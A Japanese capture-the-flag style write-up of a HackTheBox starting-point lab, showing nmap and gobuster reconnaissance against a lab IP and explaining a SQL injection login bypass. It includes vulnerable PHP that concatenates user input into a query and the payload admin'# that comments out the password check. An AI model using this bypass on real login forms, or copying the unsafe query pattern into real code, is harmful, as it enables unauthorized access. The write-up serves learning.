本題に入る
どうやらこのボックスはSQLインジェクションらしい。
ここで初耳
MariaDBってなんだ???MySQLのコードをベースに様々な機能追加がされている。
主にLinuxディストリビューションで標準のデータベースつぃて採用されている。
MySQLとの違いとしては、レプリケーションの並列処理による性能向上や、複数マスターによるレプリケーションなどがある。(これらの機能はMySQLではできない。)
偵察
┌─[us-starting-point-1-dhcp]─[10.10.14.33]─[mukailabhtb3@htb-abnhsddiyt]─[~]
└──╼ [★]$ nmap -sV -sC --min-rate=1000 10.129.16.177
Starting Nmap 7.94SVN ( <https://nmap.org> ) at 2025-06-02 22:20 CDT
Nmap scan report for 10.129.16.177
Host is up (0.0088s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Login
|_http-server-header: Apache/2.4.38 (Debian)
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 6.97 seconds
-
sV
でソフトウェアやOSのバージョン情報を出力してくれる。
sC
でスクリプトスキャンを有効にする。
Script=default
と同義である。
このオプションを指定するとnmapに同封される最も一般的で有用なスクリプトが自動的に選択されてターゲットホストに対して並列実行される。
ターゲットIP:80でWebページにアクセス
GoBusterでサブディレクトリやサブドメインを探す
┌─[us-starting-point-1-dhcp]─[10.10.14.33]─[mukailabhtb3@htb-abnhsddiyt]─[~]
└──╼ [★]$ gobuster dir --url <http://10.129.16.177> --wordlist ./SecLists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: <http://10.129.16.177>
[+] Method: GET
[+] Threads: 10
[+] Wordlist: ./SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 278]
/.htaccess (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/css (Status: 301) [Size: 312] [--> <http://10.129.16.177/css/>]
/fonts (Status: 301) [Size: 314] [--> <http://10.129.16.177/fonts/>]
/images (Status: 301) [Size: 315] [--> <http://10.129.16.177/images/>]
/index.php (Status: 200) [Size: 4896]
/js (Status: 301) [Size: 311] [--> <http://10.129.16.177/js/>]
/server-status (Status: 403) [Size: 278]
/vendor (Status: 301) [Size: 315] [--> <http://10.129.16.177/vendor/>]
Progress: 4746 / 4747 (99.98%)
===============================================================
Finished
===============================================================
デフォルトディレクトリなどが存在しており、ぶっちゃけ悪用できそうなのはない。
ちなみにstatuscode:403
は認証エラーなどによりこっち側のリクエストが拒否されたことを示している。
デフォルト設定でログインフォームを搔い潜れるか!?!?
admin:admin
guest:guest
administrator
root:root
などである。
いずれも失敗。
こういう場合はSQLインジェクション!!
本来意図されていたであろうクエリ
SELECT * FROM users WHERE username='admin' AND password='abc123';
この場合username='admin'
と'password='abc123'
を両方同時にチェックすることで正しい認証処理を行うはずだった。このクエリであればANDが返ってくるので、ユーザー名、パスワード両方一致しなければ行は返ってこずログイン失敗となる。
脆弱性のあるPHPスクリプト
<?php
mysql_connect("localhost", "db_username", "db_password"); # SQL データベースへの接続
mysql_select_db("users"); # ユーザー情報が格納されたデータベース
$username = $_POST['username']; # ユーザー指定のユーザー名
$password = $_POST['password']; # ユーザー指定のパスワード
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'"; # ユーザー名/パスワードをデータベースから取得するクエリ
$result = mysql_query($sql); # $sql に格納されたクエリを実行し、結果を $result に格納
$count = mysql_num_rows($result); # $result に含まれる行数を $count に設定
if ($count == 1) {
# もし 1 件の結果があればログイン成功と判定
$_SESSION['username'] = $username; # セッションにユーザー名を保存
$_SESSION['password'] = $password; # セッションにパスワードを保存
header("location:home.php"); # ホームページへリダイレクト
}
?>
今回悪用に使うインジェクションクエリ文
SELECT *
FROM users
WHERE username='admin'#' AND password='abc123';
username='admin'
までが正常な条件
#
コメント化する。
以降(' AND password='abc123';)はすべてコメント扱いとなり、実行時に無視される。
SELECT *
FROM users
WHERE username='admin'
本来であれば username='admin' AND password='abc123' の両方をチェックしたかったはずですが、# によって パスワードチェックの条件が丸ごと無効化されてしまっていることがわかる。
結果として、パスワードを知らなくても username='admin' が存在すれば認証が通ってしまう、という仕組み(インジェクション成功)。
参考文献(2025年6月3日)
・公式Writeup